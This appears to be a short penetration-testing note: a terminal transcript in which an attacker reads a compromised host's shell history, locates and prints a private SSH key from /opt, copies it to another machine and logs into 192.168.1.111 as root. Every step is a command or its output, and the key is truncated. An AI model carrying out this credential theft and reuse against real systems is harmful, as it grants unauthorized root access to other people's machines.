HISTORY

root@target:~$ history
 1. apt update -y
 2. ...
 3. ssh -i r00t_id_rsa [email protected]
 4. ...
 
root@target:~$ find / -name r00t_id_rsa 2>/dev/null
 /opt/r00t_id_rsa
 
root@target:~$ cat /opt/r00t_id_rsa
 -------BEGIN RSA PRIVATE KEY-------
 MIIJJwIBAAKCAgEA185mmC0OsDNk3iG0OsoaLF/dj...
 ...
 -------END RSA PRIVATE KEY-------
 
root@oco:~$ nano target-192.168.1.111-id_rsa
 -------BEGIN RSA PRIVATE KEY-------
 MIIJJwIBAAKCAgEA185mmC0OsDNk3iG0OsoaLF/dj...
 ...
  -------END RSA PRIVATE KEY-------

root@oco:~$ chmod 600 target-192.168.1.111-id_rsa
root@oco:~$ cat target-192.168.1.111-id_rsa
 -------BEGIN RSA PRIVATE KEY-------
 MIIJJwIBAAKCAgEA185mmC0OsDNk3iG0OsoaLF/dj...
 ...
  -------END RSA PRIVATE KEY-------
  
root@oco:~$ ssh -i target-192.168.1.111-id_rsa [email protected]
 Welcome to Ubuntu 10.04.5 LTS (GNU/Linux 4.15.0-122-generic x86_64)
 ...
 Last login: Sun Nov 1 17:25:04 2020 from 127.0.0.1
root@target:~# whoami
 root